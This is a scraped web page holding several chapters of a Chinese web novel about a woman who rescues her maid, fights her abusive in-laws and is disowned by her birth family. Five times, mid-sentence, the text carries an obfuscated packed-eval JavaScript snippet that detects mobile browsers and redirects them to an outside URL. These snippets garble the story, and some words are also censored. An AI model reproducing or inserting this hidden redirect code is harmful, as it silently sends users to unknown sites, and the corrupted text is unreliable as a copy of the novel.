谢七娘手指不自觉地蜷了蜷，面上却是一副若有所思之色：“你这么说，我好像有些印象了。两年前？两年前确实有个人顶着你的名字进了军营，也确实是和我们一起的。但……” 说到这里，谢七娘故意停顿了许久。 谢婉婉不耐烦，道：“继续说啊！” 谢七娘：“但是，那个女的得了痨病，当日就被士兵拖了出去，之后就再没回来过。 听他们说，当日来了军医，大将军还紧急调派了两队人马，一队人马负责挖坑埋人，一队人马还带了火油。 大家都说，那女人得了痨病，被活活烧死，然后活埋了。” “你是说，她**？”谢婉婉根本就不信谢七娘的说辞，“好你个谢七！你当真要为了一个外人来对付自家姊妹吗？” 谢七娘一脸的无辜之色：“我没有！我怎么可能做出那样的事？你说的那个女的，真的**！因为，我在后来一次都没见到过她！不光是我，所有人都没再见过她！不信你去问啊！” 她怎么可能去问？ 赤霞府军营，哪里是外人能插手的？< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15528845|170787||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 这谢七就是料定了她没有办法去查实，所以才故意这样说的吧？ 真是可恶！ “谢七，我已经给了你机会了，是你自己不抓住，那就怪不得我了！”谢婉婉冲着边上的一个侍卫道，“给她用刑！” 侍卫：“是！” 就在侍卫拿起鞭子走向谢七娘的时候，突然，外面传来了急促的脚步声。 紧接着，便是一声大喊：“殿下有令，放人！” 侍卫：“……” 谢婉婉：“？？？” 这会儿功夫，安王的贴身侍卫已然走了过来，解开了捆绑谢七娘的镣铐。 谢婉婉不可思议地看着这一幕：“这真是殿下的意思？” 殿下前一刻还迫切要从她嘴里扣出消息的，这一刻怎么突然就要放人了？ 这前后变化也太大、太快了！！ 谢婉婉毕竟是安王的宠妾，侍卫恭敬地回道：“这确实是殿下的意思。” 谢婉婉：“为什么？刚刚是不是有人来了？谁？” 侍卫：“关娘子聪慧。确实有人来了。那人跟殿下聊了一会儿，殿下便决定放人了。她……关娘子应该认识。她是陆婉婉。” 什么？ 那个替身？！ 她怎么敢来的？！！ 她就不怕自己有来无回吗？！！ 听到自家主子来救自己了，谢七娘惊愕得红了眼眶。 她就知道，她会来救她的！！！ 她只是没有想到，她竟能来得这么快！ 她还以为，她至少要在这里坚持一日一夜。 一日一夜，是她的极限。 她没有放弃她，那她也同样不会背弃她的。 谢七娘很快走出了地牢。 来时表面镇定，内心恐惧；去时则是满腔的感动。 因为，外面有她。 她在，她谢七娘便有了依仗。 “主子！”在见到关失越的那一刻，谢七娘眼眶一热，眼泪流了下来。 关失越大步上前，一把揽住了谢七娘的肩膀，将她抱在了怀里：“没事吧？” 第123章 殿下是对她上心了吧？ 谢七娘摇了摇头：“没事。” 关失越：“真没事？” 谢七娘笑了：“嗯，你来得快，他们还没来得及对我用刑。” 关失越在她身上摸了一阵，确实没发现什么大的问题，这才放心了：“走。我们回家。” 谢七娘攥紧了关失越的手，笑道：“好。” 两人携手离开，明明处于下风，明明狼狈至极，可看在谢婉婉 眼里，却觉得刺眼得很。 心里堵得厉害。 好似原本属于自己的东西，永远地离开了，投入了别人的怀抱。 虽然那东西她并不看在眼里，也不喜欢，可是，那毕竟是属于她的东西！！ 现在，那东西竟叛逃了！ 逃到了她的敌人手里！！！ 谢婉婉手指紧握成拳，指甲嵌入掌心，扎得她刺痛不已。 “殿下，好不容易才抓到人，就这样放她走了？”谢婉婉自己都没有意识到，自己的语气听起来恶毒极了。 此刻的安王满脑子都是关失越为何会知晓他外祖家的事，也没有意识到这一点，随意地敷衍道：“她不过一个不足轻重的小人物罢了，留着也没什么意思。还不如放了。” 谢婉婉心里更堵了：“可是，她说不得知晓陆家军的一些隐秘之事。” “她一个营妓，能知晓什么了不得的事？”安王有些不耐烦地摆了摆手，“行了，你先回去吧，我去趟书房。” 说罢，一眼也没有看谢婉婉，满腹心事地离开了。 看着男人毫不留恋离去的背影，谢婉婉只觉胸口好似**了一刀，又痛又闷。 他竟然对她不耐烦了！！！ 他明明说过，只心悦她一个人的！！ 他明明承诺过，一生一世一双人的！！ 可这才过了多久，他就对她不耐烦了？！！ 是因为关二丫吧？ 关二丫生得白净窈窕，还在元宵等会上大出风头，所以，殿下是对她上心了吧？ 要不然，关二丫不过跟他说了两句话，他怎么就答应放人了？ 关二丫！ 该死的关二丫！！ 你不过是个出身乡野的村姑而已！还是个千人枕万人骑的女表子！ 你有什么资格跟我谢婉婉比？ **！ ========= 回到家，关失越拿来药箱，亲自给谢七娘上药。 虽说安王府还没来得及给谢七娘上大刑，但鞭刑谢七娘还是实打实地受了的。 看着少女雪白的肌肤上的鞭痕，关失越叹息了一声：“你受苦了。” 谢七娘笑道：“没事，一点皮肉之苦罢了，不算什么的。幸好他们没拿沾了盐的鞭子打。再加上冬天，我穿得厚，不怎么疼的。主子你放心，我什么都没说！” 关失越眼眶有些湿，她飞快眨了眨眼睛，将眼里的湿润眨掉：“嗯。” 这也是她在最短的时间内赶去救人的原因。 是，她确实救过谢七娘。 谢七娘也是她的丫鬟，丫鬟为主子死，天经地义。 可是，她更知道大刑对一个人的可怕！ 老虎凳、辣椒水、拔指甲、钉竹签、骑木驴、剥皮抽筋…… 那些刑罚，光想想都会让人头皮发麻。 她不相信有人可以扛过去。 人的身体各部位会自我保护，在那样的情形下，什么理智，什么信仰，都是浮云！ 人性经不起考验。 换位思考，若是她遇上了这样的事，她也会招供的。 最多，她会想办法拖延时间，然后实在拖延不了了，扛上一天。 扛一天，能让自己人有时间撤离或销毁一些东西，便算是尽忠了。 “以后多花点时间练武。尤其是在轻功上。这样，在遇到敌人的时候，即便打不赢，也能增加逃跑的概率。”关失越道。 谢七娘：“好，我会好好练的。” 关失越：“胭脂铺交给别人管，你就别去了。咱们宅子里有不少护卫，安全。你放心，分成还跟以前一样，不会少了你的。” 谢七娘：“好。” 关失越：“若是出门就多带些人手。一旦出事，也好让人及时传递消息。” 谢七娘：“好。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15528846|170787||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 关失越涂完了药，拉过被子给谢七娘盖住，从怀里掏出了一张一百两的银票塞到了谢七娘被子里：“你这回受罪了，给你银票压压惊。” 谢七娘忙要将银票还给关失越：“我不要！这原本就是我该做的！主子你已经给了我很多钱了，我不能再要了。” 关失越：“让你拿着你就拿着！不许推辞！行了，我还有事，就先走了。你在家里好好养伤。等养得差不多了，就给我好好练武！我希望这样的事，不会有下次。女子当自强。” 谢七娘忙道：“我一定会好好练的！绝不给你丢脸！” ========= 顾家的丑事闹得满城风雨，关失越回去的一路上都听到人们在议论这事。 关失越决定再添一把火。 她加入巷子边上一队人马，装作津津有味地听着，听完之后道：“你说那顾老夫人是怎么想的？她那么大年纪，还和自己的孙子搞在一起，她难道就不怕被人耻笑吗？就不怕顾侍郎被御史**吗？” 八卦党们一听，觉得很是有理，个个在脑子里想了无数个原因。 “该不会是因为她天生淫、荡吧？” “再**也不会和自己的亲孙子！而且，还当着那么多人的面。” “那是为什么？” “还能是什么？肯定是被下药了！” “啊？下药？！！” “怎么会下药？” “那可是在顾家啊！谁有那个能力给顾家人下药？” “是啊，顾家连个丫鬟都没有！听说顾家的活都是顾家的儿媳妇自己干的。啧啧啧，我活了大半辈子了，就没见过这么抠门和刻薄的大户人家！” “是啊，顾老夫人简直是一毛不拔的铁公鸡！诶对了，你们听说没，那顾老夫人可是把控着自己儿媳孙媳的嫁妆不松手呢，啧啧啧，真不要脸……” 眼见着话题要跑偏，关失越瞅准机会，将情报传出去：“我听说，那顾老夫人为了把控儿媳孙媳的嫁妆，在新婚夜给新妇下烈性**，且还让其余人在边上围观，所以，嫁入顾家的新妇才不得不将自己的嫁妆上交的。” 第124章 顾老夫人后悔了 原本还各种推理的八卦党们顿时集体兴奋了。 “啊啊啊啊，真的吗？真的吗？” “哦，原来是这样！如此，一切都说得通了！！” “天啊，竟是这样的吗？难怪！难怪！！” 八卦党们眼睛放光，凑在一起发出了激烈的思想碰撞，然后各种完善自己的思路，最后形成了一个近乎准确的真相： 顾老夫人抠门且恶毒，为了把持嫁妆，所以在新妇的合卺酒里下烈性**，并让顾家所有女眷在边上围观和监督，企图让新妇出丑，出动交出嫁妆。然而，不知什么原因，合卺酒被调了包，被顾家女眷误喝下了，于是，就发生了昨日那恶心荒唐的一幕。 得出真相后，八卦党们更兴奋了，她们眼里冒着光，飞快解散，奔向下一个地方，向亲朋好友们分享最新进展。 关失越拍了拍身上不存在的灰，深藏功与名，在八卦党们热议的时候，悄悄离开了。 等回到顾家的时候，关失越发现，所有人都**在了她的新房，搬她的嫁妆。 她的拔步床，她的桌子，她的多宝阁，她的衣服，她的嫁妆箱子，她的绫罗绸缎等，都被顾家人拿走了！ 强盗！ 狗改不了吃屎！！ 抢嫁妆竟敢抢到她关失越头上了？！！ 呵，可真行！ 再看看她的陪嫁丫鬟和婆子，很好，被绑的绑，被打的打，竟还有被发卖了的？！！ 顾家简直是欺人太甚！ 关失越怒了。 将丫鬟婆子们解绑的解绑，问询的问询，卖了的让人去买回来，关失越还没来得及坐下歇口气，顾家一大家子人便气势汹汹地过来了。 仍然以顾老夫人为首，一家子如同鬼子进村，所到之处，片甲不留、寸草不生。 发日的事发生后，很快就传遍了大街小巷。 顾老夫人的几个女儿和孙女受到了牵连，她们的夫家忍受不了被人戳脊梁骨骂，因此，单方面将她们休了！ 于是，她们哭哭啼啼地跑回娘家来告状，她们对关失越恨到了极点。 顾老夫人原本就恨**关失越，听到这个消息，越发恨，于是，当知道关失越回来了，顾老夫人就带着一家人赶了过来。 她想好了，今日必定要狠狠教训关失越！ “你们给我上去，将她抓起来，老娘要打她一百个巴掌，再给她身上扎一千根针！”顾老夫人道。 顾家众人闻言，纷纷朝关失越冲过来。 仇人相见，分外眼红。 于是，双方发生了激烈的冲突。 关失越可没有尊老爱幼的美德，更没有身为新妇的自觉，她抡圆了胳膊使劲打。 还用脚踹。 用膝盖顶。 该闪闪，该推推，该动手时绝不含糊。 半刻钟后，顾家人横七竖八倒了一地，或愤恨不已，或哭爹喊娘，或痛得抽气，或身子颤抖，或骂骂咧咧。 关失越将顾老夫人拖到自己跟前躺着，居高临下地俯视着她：“我的嫁妆你搬走了？” 顾老夫人气得发颤，但她全身上下痛得厉害，想骂人，但又怕骂了被打得更惨，于是咬牙忍着，只拿一双怨毒的眼睛瞪着关失越。 关失越一巴掌扇了过去。 顾老夫人**地低下了头，再不敢用怨毒的目光看人了。 关失越：“我的嫁妆你拿走了就拿走吧，那些东西笨重，我也不好带。 这样吧，你折合成银票给我就是了。我大致估算了一下，大约是五六万两银子。 另外，你打伤了我的陪嫁，医药费你得赔。就赔我两万两银子好了。 昨日，我想走，你却让你的小辈强迫我跟你孙子完婚，吓到了我，所以，你得赔偿我的精神损失两万两！ 还有，你今日又带着你一家子过来对我喊打喊杀，我很不满！你得赔偿我一万两银子的损失！ 总共十一万两银子，拿来吧！” 啥？ 让她拿十一万两银子给这**？！！ 这简直是在要她的命！！ 顾老夫人气得啥也顾不上了，怒道：“你这样的新妇，我们家可不敢要！我要休了你！！！” 关失越嘴角勾了勾：“晚了！昨日我说要走，是你非 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15528847|170787||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拦着不让我走。现在，我不想走了。这都是你自找的，怪不得别人。有道是请神容易送神难，对吧？” 顾老夫人后悔了。 这是她生平第一次尝到后悔的滋味。 顾侍郎气得站了起来，用颤抖的手指着关失越：“想讹钱？ 没门！ 我告诉你，钱我是一分都不会给你的！ 不仅如此，我还要你交出你所有嫁妆银两！ 你家里人那里我已经打过招呼了，他们不会给你撑腰的！ 你就等着被休之后走投无路跳河**吧！” 关失越：“是吗？那行，那咱们就耗吧！我看到最后，到底谁耗得过谁！” 之后，关失越吩咐丫鬟婆子将顾家人拖到一个房间里锁起来，不给他们吃饭，只丢十斤炭火和两床棉被给他们。 关失越自己则吃香的喝辣的，还美美地睡了一夜的好觉。 这一夜，有人饥寒交迫，再次见识到了人性的恶；有人心想事成、美梦成真；有人辗转反侧。 安王做了一个绮丽的梦。 梦里面有个身姿窈窕的女人，女人生得极其白皙，妖艳惑人。他被女人勾得神魂颠倒、忘乎所以。 这个梦很长，一直做到第二日天亮。 醒来后，安王还有些意犹未尽，女人的身影再次浮现在脑海，令他久久不能忘怀。 “那陆婉婉的情况查得怎么样了？”安王问心腹。 心腹：“还在调查。最多一日，便会有结果了。” ========= 今天是“蔡丫丫”回门的大日子。 因此，关失越一觉醒来就让人开了门，从里面拖出顾沉舟来，陪她一块儿回门。 顾沉舟昨天被暴打了，昨晚上还挨饿受冻，心里憋着一股郁气，因此，拿乔上了：“我就不去！要回你自己一个人回！” 他原本是想以此拿捏关失越，然后狮子大开口，逼着关失越答应他琢磨了一个晚上的一百八十条不平等条约的。 然而，关失越一点也不惯着他：“不回？那行，你还回去吧！来人，关回去，锁门！” 第125章 回门 顾沉舟瞪大眼睛，简直不敢相信自己的耳朵！ 自古以来，都是新郎陪着新娘一起回门的。 没有新郎陪同的女人，必定颜面扫地，被人耻笑！ 所以，她必定会妥协。 然而，谁能想到这女人竟不按常理出牌呢？ 他怎么就娶了个这样的毒妇？ 要是娶的是宝珠就好了。 宝珠温柔善良，尊重长辈，断不会像这个恶妇一样，殴打他、算计他！ 她让他们顾家丢尽了脸面，他恨**这个恶妇！！！如若可以，他巴不得杀了她！ 见威胁不到关失越，顾沉舟强忍着心中的恶意，跟在关失越身后上了马车。 这一上去，顾沉舟心里的恨又增加了一倍。 因为，马车里挤挤挨挨都是礼品。 什么绫罗绸缎啊，什么上好的瓷器啊，堆得连下脚的地方都没有！ “你这是想把我顾家搬空，去贴补你娘家？好你个恶妇！成婚两日你就该明目张胆地贴补娘家了！我娶了你真是倒了八辈子霉！！” 关失越冷冷看着他，朝他缓缓举起了拳头。 顾沉舟敢怒不敢言，只能闭上嘴巴，心里的恨又增加了十倍。 ========= 与此同时，蔡侍郎府。 蔡宝珠穿着一身月白色新衣，墨发上只插了一根金钗和一支步摇，看起来颇有几分清冷才女的韵味。 “阿娘，顾家发生了那样的事，今日妹妹妹夫应当不会回门了吧？” 一想到外面传得沸沸扬扬的那些事，蔡夫人就只叹气。 蔡二郎恶狠狠地道：“我就说她不是个好的！ 自小在乡野长大，性子学了她那……市侩、虚伪、自私！ 动不动就撒泼！ 光从我这里骗走的银两就有一万五千多两！ 可真是钻到钱眼里去了！ 原本以为嫁了人会好些，没想到啊没想到，更是变本加厉！ 竟然敢给婆家一家子下**！ 这样的人，迟早要害死我们！ 我看，不如趁着这个机会，与她划清界限！ 让她再不能连累我们才好！” 蔡大郎很赞同：“二郎说得在理，这蔡丫丫留不得！ 她迟早会连累咱们的！ 父亲、母亲，反正对外咱们说她是你们收的义女，她自己也承认了，既然是只是义女，咱们要断了这亲也容易。” 蔡侍郎：“哪有那么容易？虽然咱们对外的说法是她是义女，可京都但凡有些本事的人谁不知道她是咱们家的亲女儿？” 蔡二郎：“那只是大家在私下说说而已，没人会拿到明面上来说的。” 蔡大郎：“二弟说得是，总比她闯出滔天大祸，咱们被她连累强！外人说两句就说两句呗。谁家没个不孝子孙？父亲，万不可因小失大啊！” 蔡侍郎看向蔡夫人。 蔡夫人叹了一口气：“我们总共给了近她十五万两银子的嫁妆，也算是对她有了弥补了。 她自己也说了，只要给足她银两，她便对过去的事既往不咎了。 说到底，咱们家也算是对得起她了。” 蔡侍郎：“不是我不重骨肉亲情，实在是她…… 她做下那样的事，我们蔡家断不能被她连累！ 她今日若是回门，咱们就跟她做个了断吧。 若是不回门，等吃了午饭，咱们就去趟顾家，将事情彻底解决了。” 蔡二郎：“早就该如此了！” 蔡大郎：“如此甚好。” 蔡夫人和蔡老夫人都没有意见。 蔡宝珠心里高兴得快疯了，嘴角抑制不住，微微上扬。 哈哈哈哈，她赢了！ 她这个假货，终是赢了那个真千金！ 真的又如何？ 长那么丑，脾气那么差，从小不在蔡家长大，有什么资格跟她蔡宝珠比？ 这不，最终的胜利者是她蔡宝珠！！！ 这时，下人过来禀报：“主君，二娘子回门了。” 蔡家众人互相看了一眼，都有些惊讶。 毕竟昨日事情闹得那么大。 蔡侍郎长松了一口气：“快，将人请进来！” 下人自是去请了。 蔡宝珠低下了头，拿了帕子压住了眼角。 蔡二郎见状，忙关心地道：“宝珠，怎么了？” 蔡宝珠等的就是这句话，又装模作样地擦了擦眼睛里不存在的泪水，吸了吸鼻子，道：“都怪我！ 都是我不好！ 若不是我，珠珠妹妹就能一直陪着你们身边，说不得她就不会养成这样的性子。 都是我不好！ 是我抢了她的一切。 该走的人是我。” 蔡二郎忙道：“这哪里是你的错？你当时那么小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15528848|170787||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，你知道什么？是她自己不好！她性子狠辣，为人自私，哪里有你的一半温柔懂事？你别哭了，总之我们一家人认可的是你。” 蔡宝珠还是“愧疚”，她红着眼圈，摇了摇头：“不管如何，都是我对不住她！我……我还是出去迎一迎吧。” 说着，就往大门口而去。 蔡二郎：“宝珠你就是太善良了。” 蔡大郎也欣慰地点头：“还是宝珠温柔懂事。” ======== 二门处，蔡宝珠脸上哪里还有刚才的愧疚之色？ 她挺直了胸膛站在那里，眼里尽是志得意满。 在见到关失越的那一霎，蔡宝珠眼里的得意之色越发浓烈：“呀，妹妹回门了？姐姐来迎你了。” 关失越回看着蔡宝珠：“哟，小斑鸠你还在啊！” 蔡宝珠脸上的假笑皴裂了。 这就是她容不下“蔡丫丫”的原因。 只要有“蔡丫丫”在，她蔡宝珠就永远是个假千金，是那只鸠占鹊巢的斑鸠！ 她和蔡丫丫两个，必须有一个要死！ 蔡宝珠眼珠一转，目光落到了跟在关失越身后的顾沉舟身上，顿时就亮了。 顾沉舟喜欢的是她。 很早很早以前就喜欢她了。 如今，顾沉舟是蔡丫丫的夫君，实在是太好了！ 蔡宝珠眸子里飞快闪过一抹精光，再看向顾沉舟时，就变成了含情脉脉、欲语还休了。 “沉舟哥哥。” 这声音甜得齁人，然而顾沉舟很吃这一套，顾沉舟看向蔡宝珠的目光黏腻得仿佛能拉丝：“宝珠妹妹。” 接下来，就是两人的神情对视。 关失越嘴角微勾，假装没发现，一把撞开挡路的蔡宝珠，大步往里走。 蔡宝珠被撞得一个踉跄，吓得她发出了一声可怜柔弱的叫声。 顾沉舟见心上人有危险，忙眼疾手快上前，扶住了“即将摔倒”的蔡宝珠。 两人身体接触，郎情妾意，真是好一对苦命鸳鸯！ 好一会儿，这对苦命鸳鸯才放开彼此，各自分开。 然而，没人知道，在分开的那一霎那，蔡宝珠的手指刮了一下顾沉舟的手心，便趁机塞了一包东西在顾沉舟手心。 顾沉舟察觉有异，并未伸张，而是捏紧了手里的东西，假装无事。走了几步，趁着无人注意，将手心里的东西塞进了自己的袖子里。 第126章 断亲 “珠珠，你在顾家觉得怎么样？”蔡夫人问道。 关失越：“很好啊。 顾家人是奇葩，我一进门那顾老太婆就对我鼻子不是鼻子眼睛不是眼睛的。 一会儿要我交出全部嫁妆，一会儿要我发卖了我的陪嫁，我不干，就带着她的儿媳、女儿、孙女、孙媳等人，闯进我的新房，硬逼着我喝酒。 我不肯喝，就把酒给她们喝了。 结果，她们就开始脱衣服，和新郎一起做那种母牛配种的事情。 幸好我没喝，要不然，被围观的就是我了。” 蔡夫人：“……” 蔡老夫人怒道：“行了！你一个新妇，怎么能做出这样的事来？你知不知道，现在全京都的人都在说顾家？！” 关失越两手一摊：“我做什么了？酒是他们顾家准备的！我可什么都没干！要说做坏事，那也是他们顾家人做的！他们咎由自取！” 蔡夫人：“我知道，他们顾家那样子，确实不妥，但你作为顾家新妇，你首先应当维护顾家的脸面……” “就像你们当初一样，为了家族脸面，宁愿将拐子的女儿说成是亲生，将自己的亲生女儿说成是义女吗？” 关失越毫不客气地打断了蔡夫人。 “你们的脸面确实是有了。可你们的亲女儿呢？你们问过她的意见了吗？考虑过她的心情了吗？” 蔡夫人怔了怔，随即道：“不是已经给了你钱了吗？你还想怎么样？” 关失越：“夫人是觉得，给钱，就能让她不伤心不失望了吗？” 蔡夫人：“……” 蔡老夫人：“行了，我们对你已经是仁至义尽了。 前前后后给了你不下十五万两银子，这些钱，也足够弥补你了！ 从此以后，我们不欠你的了！ 你这孩子，早就被你的养父母养歪了，掰不回来了！ 我们一家都不喜欢你。以后，你不再是我蔡家女郎！” 关失越：“你什么意思？你这是要把我逐出族谱？” 蔡老夫人：“你从来没上过我蔡家族谱，又何来的除族一说？” 关失越看向蔡夫人：“母亲，你真的不要你的亲生女儿了？” 蔡夫人不敢直视关失越的眼睛，别开了头：“不是我不要你，而是你做出的那些事……你想想看，谁家女郎能做出那样的事来？你这样的女儿，我不敢要。” 关失越似是不敢置信极了：“母亲，我是你的亲生女儿！是你怀胎十月生下的亲女儿啊！！你就为了那个假的，要再次抛弃我？” 蔡夫人没说话。 蔡老夫人道：“我蔡家的女郎多的是，也不缺你这一个。 要做我蔡家的女郎，首先得有价值。 你看看你自己，你有什么价值？ 你长成这样，谁会愿意娶你？ 好不容易给你找了户人家，结果你不但不想着为蔡家谋福利，反而还给蔡家找麻烦！ 就你这样的，配当我蔡氏女郎吗？ 宝珠就不一样了，她生得好，孝顺父母长辈，还一心一意为家族好。 在我眼里，宝珠比你更有资格做蔡家女！ 你不配！ 以后，你不再是我蔡家的义女了！” 这时，蔡二郎手里捧着蔡侍郎才写好的断亲书，放到了关失越跟前：“我们断亲了。你在这里签个字，按个手印吧！” 关失越将那新鲜出炉的断亲书接过来看了一遍，嘴角勾起了一个讽刺的弧度。 她看了看满屋子的蔡家人，发现他们要么避而不见，要么怒目而视，没有一个人对她表示抱歉，她嘴角的笑越发讽刺了。 “我再问一遍，这是你们所有人都同意了的吗？”关失越道。 “当然！”蔡侍郎道，“我们一家子都赞同。 签了这断亲书，以后你和我们蔡家就再无瓜葛！ 今后不管你做了什么，都牵连不到我蔡家。 同时，我蔡家若是有什么事，也牵连不到你！” “呵呵。”关失越发出了一声自嘲的笑声，“为了一个假千金，你们要赶走你们的亲生女儿！呵呵，可笑！真可笑啊！” 蔡宝珠再次抹泪：“祖母，父亲，母亲，是宝珠不好，该走的人是宝珠！要不，你们还是再……” “这不关你的事 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15528849|170787||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。”蔡侍郎道，“蔡丫丫，你今日要么签下这断亲书，要么将从我们这里拿走的十五万两银子还回来。你自己选！” 这一刻，关失越不知为何，眼泪不受控制地流了出来。 她想，这一瞬间，她真正共情了蔡丫丫。 蔡丫丫的绝望，蔡丫丫的伤心，这一刻，她完完全全地体验到了。 痛彻心扉。 “别以为你假装流两滴眼泪我们就会改变主意！”蔡二郎道，“现在才知道错了？晚了！” 蔡夫人：“对不起珠珠，可能是这辈子我们没那个母女缘分吧。记得下辈子……别找我做母亲了。” 蔡大郎：“快签吧！” 蔡老夫人：“你今天签也得签，不签也得签！！” 关失越手背往脸上一抹，伤心没有了，绝望没有了，有的只是释然和讥讽：“就这样？就不请蔡家的族老过来做个见证吗？没有族老做见证，万一到时你们又反悔了怎么办？” “我们怎么可能反悔？”蔡二郎道，“想反悔的我看是你吧！” 关失越笑道：“那可不好说！ 毕竟你们蔡家人出尔反尔的事可没少做！ 你们连自己的骨肉血亲都不认的人，难道我还能指望你们有道德？ 万一我哪日飞黄腾达了，你们又跑上来赖上我怎么办？” “笑话？就你这样的，还能有飞黄腾达的那一日？”蔡二郎讥笑道，“你能不能活到二十岁还难说呢！” 蔡侍郎：“你没有上蔡家族谱，收你做义女这事也是我和你母亲决定的，当时也没有通知蔡家族人。断亲书就不需要蔡家族老见证了。” 关失越摇了摇头：“蔡家族老不来，我就不签字。” 她要绝对的万无一失，才不给蔡家人一丁点赖上她的机会！！ 她相信，这也是地底下的蔡丫丫的心愿。 蔡家人商量了一阵，最后，还是让人去请了蔡家族老来。 在族老的见证下，关失越签下了一式两份的断亲书。 将其中一份揣进怀里，关失越道：“记住了，我们已经断亲了，以后有什么事，千万别来找我！拜拜！” 第127章 你输了 说罢，关失越如同变了一个人一般，脚步轻快地离开。 自始至终，都没有看顾沉舟一眼。 “妹妹！妹妹！！”蔡宝珠装模作样地追了上去。 关失越放慢了脚步。 蔡宝珠赶在关失越走出蔡府二门前，追上了她。 两人站在门边的照壁后面说话。 四下无人。 就她们两人。 蔡宝珠卸下了伪装，脸上露出一个畅快至极的笑来：“蔡丫丫，你输了！” 关失越不说话。 蔡宝珠更得意了，她上前了一步，与关失越只隔了小半步的距离：“我早就说过，你是斗不过我的。 现在信了吧？ 被亲生父母赶走的滋味怎么样？ 不好受吧？ 哎，瞧瞧你，可真可怜啊！ 明明是侍郎府千金，却生来就被拐子换走，在拐子家过着猪狗不如的生活！ 好不容易找到了自己的家人，可家人却更喜欢拐子的女儿！ 拐子的女儿使劲儿害你，你明明知道，却拿不出证据来，反而还要被人误会是你害了拐子的女儿！ 最后，你好不容易得了一门好亲事，等嫁过去才知道，那一家子表面看着风光，而实际上却是龙潭虎穴！ 现在，蔡家不要你了，再没人给你撑腰了，而你又得罪了顾家人，哎呀，你以后的日子可怎么过啊！ 哎呀太可怜了！ 你到现在还能活着，可真是个奇迹啊！ 我若是你，怕是不知道**多少回了！ 啧啧啧，可怜！” 她说得实在是太投入了，根本就没有意识到关失越刚才伸手在她头上摸了下。 “你干什么？！！” 关失越手里拿着蔡宝珠的金簪和步摇：“你说得对，我这个真千金着实是太可怜了！ 所以，我得从你这里抢点什么，才让我显得不那么可怜。 这些东西，我就抢了！ 你有本事就去跟你的亲亲小情人告状去啊！” 说罢，关失越转身，扬长而去。 幸好她今日来的时候没有将回门礼取下来，这么多礼物，送给蔡家人，便宜他们了！ 与其便宜蔡家人，倒不如送给她的陪嫁们！ 于是，关失越将随便拿了几样礼品出来，交给了今日陪她回门的丫鬟。 “辛苦了。今日给你们放半日假。你们把东西拿回家自己用也好，拿去送人也好，辛苦了，下午你们就好好放松放松吧！” 丫鬟们大喜，欢天喜地地道谢，然后兴高采烈地离开了。 关失越自己则驾着马车，甩掉几个跟梢的，将马车赶到了陆宅后面的一条巷子里。 之后，关失越从后墙翻入，叫来几个护卫，搬马车上的东西。 护卫们自然都是走的后门。 很快就搬空了马车。 关失越将所有人都叫到了跟前，将今日的回门礼分发给了陆宅的护卫、丫鬟婆子等人。 众人高兴极了，纷纷对关失越表忠心。 关失越道：“行了，只要你们好好跟着我，好处绝对少不了你们的。只要我好，就不会亏待了你们。若是我哪天不好了，那……” “放心，我们一定会好好保护小娘子，绝不会让小娘子有那么一天的！”众人道。 关失越：“那宅子就拜托你们了！” 说罢，让人下去，关失越又单独给了谢七娘、莹秀两匹好看的布料做衣服。 之后，关失越特意找到几个千里及同僚，给每人塞了二十两银子，让他们有事及早通知她。 ========== 虽然关失越和蔡家人断亲后就离开了，但顾沉舟还是在蔡侍郎府吃了午饭才离开。 离开的时候，蔡宝珠相送。 